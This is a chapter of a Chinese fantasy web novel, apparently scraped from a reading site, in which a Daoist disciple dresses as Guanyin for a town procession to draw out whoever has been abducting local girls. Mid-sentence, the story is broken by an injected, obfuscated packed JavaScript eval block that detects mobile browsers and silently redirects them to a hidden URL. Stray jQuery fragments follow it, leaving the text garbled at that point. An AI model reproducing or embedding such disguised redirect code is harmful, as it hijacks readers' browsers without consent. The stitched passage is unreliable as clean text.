万书库 > 玄幻小说 > 师门来了个黑心棉 > 27. 游街
    入目皆是绢花红绸,风吹时候似浪涌。家家户户门口摆着香案,烟雾袅袅,摆满瓜果糕点。


    已和昨日是两不同的光景。


    街口的竹台已搭完,台面铺着崭新的红布。


    一行人从镇中心方向走来。


    走在最前头的是里正,五十来岁,穿簇新长衫,面上带笑眉宇间却藏着一丝忧虑。


    身后几个壮汉抬着竹架,架上搁着一座竹篾扎的莲花台。粉色绸布,层层叠叠,远远看去倒真像一朵盛开的莲花。


    莲花台后头的几个婆子簇拥着一个穿粉色衣裙的年轻姑娘,那姑娘约莫十五六岁,生得端正,柳眉杏眼。脸色惨白,眼眶微红。


    她走在几个婆子中间,脚步迟缓,倒像是被押去什么地方的。


    持盈看了那姑娘一眼,心里便明白了七八分。


    一行人走到竹台前停下,里正指挥壮汉将莲花台安放好,又回头朝那姑娘招手。


    “瑞秀,来,先试试台子合不合适。”


    瑞秀咬了咬嘴唇,没有动,身旁的婆子推了她一把。


    “去罢,里正看着呢。”


    瑞秀被推了一下,往前挪了两步,又停住了。她抬起头来,看着那座莲花台,眼泪便扑簌簌地滚了下来,“我不去……我不扮了……你们找别人罢……”


    里正的脸色变了变,很快又堆起笑来:“瑞秀,莫说孩子话。你是镇上最出挑的姑娘,你不扮,谁来扮?”


    “谁爱扮谁扮!”瑞秀的声音忽然拔高了,带着哭腔,“你们又不是不知道,这半年来丢了那么多姑娘……我若是游街时被那东西掳走了……”


    周围的街坊都围了过来,七嘴八舌地劝着。但瑞秀只是摇头,越哭越凶,蹲在地上,把脸埋在膝盖里,肩膀一抽一抽的。里正站在一旁,脸色青一阵白一阵的,想发火又不好发,只能干瞪眼。


    持盈站在人群外围,安静地看着这一幕。她看了一会儿,分开人群,走了进去。


    里正正焦头烂额,忽然看见一个穿青灰色道袍的小姑娘走到自己面前,不由一愣:“你是——”


    “玄极观弟子,持盈。”


    人群安静了一瞬。


    里正上下打量了她一番,眼中闪过一丝惊异:“玄极观的道长?你一个人来的?”


    “是。”


    “来查那桩案子的?”


    “算是。”


    里正的眼中立刻亮了起来,持盈没有等他继续往下说,转过头去看了一眼还蹲在地上哭泣的瑞秀,又看了看那座莲花台。


    “她不愿扮,便不要勉强她了。”她道。


    里正一怔:“可是明日便是观音法会,这游车若是没有圣人像——”


    “我来扮。”


    周围一下子安静了,连瑞秀的哭声都顿住了。


    所有人都看着她,穿着一身半旧的青灰色道袍,腰间挂着一只青布小袋,看着实在不像什么圣人。


    里正愣了好一会儿,才道:“你……你要扮观音?”


    “嗯。”


    旁边一个婆子插嘴道:“扮圣人要梳莲花冠,穿白纱衣裳,还要涂粉描眉的——你这身……”


    持盈低头看了一眼自己的道袍,又抬起头来:“道袍只是件衣裳,换了便是。”


    里正张了张嘴,还想要说什么,持盈已经从他身旁走过,朝那间临街的屋子走去了。


    里正看着她的背影,愣了一下,到嘴边的话便咽了回去。


    那间屋子不大,窗子朝东,日光从窗棂间透进来,在地上切出一道道明晃晃的光影。几个婆子已在里头候着了,梳妆台上摆着一排大大小小的匣子,粉盒、眉黛、胭脂、珠花,满满当当的,在日头下泛着细碎的光。


    虞婆迎上来,上下打量了她一番,习惯性地皱了皱眉——那大约是她在每一张脸面前都会摆出的表情——随即又舒展开来,点头道:“底子倒是不错,就是素净了些。来,坐下罢。”


    持盈便坐下了。


    她坐在镜子前,双手搁在膝上。


    虞婆先将她的发髻拆散,头发散下来时,日光恰好落在她的发尾上,黑沉沉的,泛着一层淡青色的光泽。


    虞婆握了一绺在指间,捋了一下,手上顿了顿,嘴里的碎碎念也停了片刻。


    “怎么?”持盈从镜子里看了她一眼。


    “没怎么。”虞婆将她的头发拢到脑后,“头发好,梳什么都顺手。”


    她不再多话,手指翻动,挽髻、簪冠、上粉、画眉,指法极利落,。


    银丝编成的莲花冠被稳稳地嵌在髻上,每一片花瓣尖端的珍珠都在日光里轻轻亮了一下。


    两条细银链从冠侧垂下来,链端的米珠垂在额角两侧,随着虞婆的动作轻轻晃动。


    虞婆调了粉,薄薄地敷了一层。将原本清淡的眉形微微拉长了些,添了几分端肃。


    最后她用指尖蘸了一点胭脂,在持盈的眉心轻轻点了一笔。


    她收回手端详了一番,又将那颗红痣的位置偏了半分,这才点了点头:“好了。衣裳在那边挂着,你自己换。”


    持盈站起身来,走到衣架前。


    白纱底衣,外罩粉绡轻衫,袖口与衣襟绣着缠枝莲花纹,针脚细密,银光若隐若现。


    她伸手摸了摸那衣料,没有多看一眼,便一件一件穿上了。


    虞婆又将一副粉色护甲套在她的指尖上,薄银片打成,外涂珐琅,粉得像是初绽的莲瓣。


    一切收拾妥当,虞婆将她拉到镜子前:“你看看。”


    持盈抬眼看向镜中,轻轻“嗯”了一声。


    走到门边,伸手推开了门,外头的日光一下子涌了进来。


    她站在门槛内,光从她身后照过来,莲花冠上的珍珠一闪一闪的,眉心那一点红痣鲜艳欲滴。


    里正张了张嘴,半晌才道:“像……像是画上走下来的。”


    持盈没有接这句话,她转头看了他一眼,问了一句:“游街何时开始?”


    里正这才回过神来:“马……马上就好,这就走。”


    锣鼓声响起来了。


    持盈被引到莲花台


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552848|202867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前,那台子比她想象中高一些,四面的粉色绸布在风里轻轻动着。她站在台边,一只手撑住台沿,轻轻一纵,便端端正正地坐了上去。


    坐定之后,她将双手交叠放在膝上,目光平视前方,面上是惯常的平淡。


    八名壮汉将莲花台稳稳扛上了肩头,锣鼓声骤然炸开,游街开始了。


    莲花台每经过一户人家,那户人家的主人便会在门口的香案上添一炷香,双手合十,低头礼拜。持盈的目光掠过那些低垂的头颅,她的目光移动得很慢。


    游车从镇东走到镇西。


    日头渐渐升高了,街上的行人也越来越多。锣鼓声一阵紧一阵松,震得人耳膜微微发疼。持盈端坐在莲花台上,额上已经沁出了一层薄薄的细汗,但她的表情始终没有变过。


    走到镇中石牌坊的时候,风忽然变了。


    不再是烟火气与人汗味混着油香的热风,那底子里多了一层别的东西,淡到几乎辨不出来。


    游车穿过石牌坊,拐进西街。


    西街比东街窄得多,两旁的屋檐几乎要碰在一处。日光从屋檐的缝隙里漏下来,在路面上一道一道的。莲花台经过那些明暗交替的光影时,持盈的粉色指尖上便一明一暗地闪着光。


    风中的气味已经变了三轮了。第二轮是在西街中段,异样沉到了所有气味的底下。第三轮是在西街尽头、快要拐弯的时候,气味忽然浓了一层,像是有什么东西终于确认了她的位置。


    持盈的睫毛没有动一下,目光依然平视前方。


    莲花台在西街尽头稳稳地掉了个头,折返往北街走。


    北街是安平镇最长的一条街,沿街多是布庄、药铺和杂货店。此刻日头已经偏西了,斜阳将每个人的影子都拉得很长,像是一根根墨线拖在地上。


    持盈的目光扫过那些面孔。


    老人,妇人,孩童,抱孩子的汉子,叼着烟杆的老头,踮着脚尖张望的少女,趴在门槛上玩石子的半大孩子。她的目光从一张脸上移到另一张脸上,不快不慢,像风吹过水面时泛开的涟漪,自然地铺展开去。


    她的目光在药铺门口停了一瞬。


    那里站着一个中等身量的男人,混在人群里看着和任何一个看热闹的镇民没有两样。他站在那里,双手抄在袖中,微微仰着头,像是在看莲花台上的“观音”。


    持盈没有让目光多停留半分,将目光移开了。


    莲花台继续往前走。


    气味又浓了一些,浓到她即使不刻意去分辨,也能清晰地感觉到它的存在。它就缀在她身后不远处,好若是一根看不见的线,一头拴在她的莲花台上,另一头牵在谁的手里。


    到北街尽头时,日头已经沉到了屋檐以下,将最后一段街面染成了一片暖融融的金色,游街散了。


    莲花台在街口缓缓落定,壮汉们放下肩杠,一个个汗流浃背的,接过旁人递来的茶水便咕咚咕咚地灌肚子里去。


    里正走过来朝持盈拱手道谢,说了几句客气话。持盈一一应了,换下衣服后没有多留,转身往客栈走去。